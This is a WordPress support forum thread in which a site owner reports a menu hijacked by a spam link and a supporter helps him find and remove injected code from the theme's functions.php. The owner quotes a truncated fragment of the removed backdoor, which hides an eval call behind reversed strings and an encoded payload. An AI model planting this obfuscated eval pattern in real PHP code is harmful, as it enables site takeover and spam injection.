Hello,
I used Enfold to put together a site for my father in law. I just checked it and found the menu seems to have been hacked with a spam link added to it.
Please have a look at the site. Your help in fixing this will be much appreciated. Thanks in advance.
Dave
Hi Dave
Please go to Appearance > Editor and open Functions.php file and check if there is such code on the top of the file – http://pastebin.com/ZpR2wN7s
and remove it. If you are not comfortable editing the file, please create a temporary admin login and post it here privately so we can check it for you.
Please consider installing a security plugin such as https://wordpress.org/plugins/better-wp-security/ or this one – https://wordpress.org/plugins/bulletproof-security/
Best regards,
Yigit
Thanks very much for your help Yigit. In the Functions.php file, I didn’t find the URL you mentioned but I did find other malicious code which I removed and this seems to have solved the issue with the spam link.
For your information the code looked like this:
/*
* $wp_user_functions_init = create_function(‘$a’,strrev(‘;)a$(lave’));
* $wp_user_functions_init(strrev(‘;))”K0QfK0wOpICcoB3Xu9Wa0Nmb1Z2XrNWY….followed by another thousand or so characters
*/
I’ll look into the security plugins you mentioned to avoid this problem again.
Dave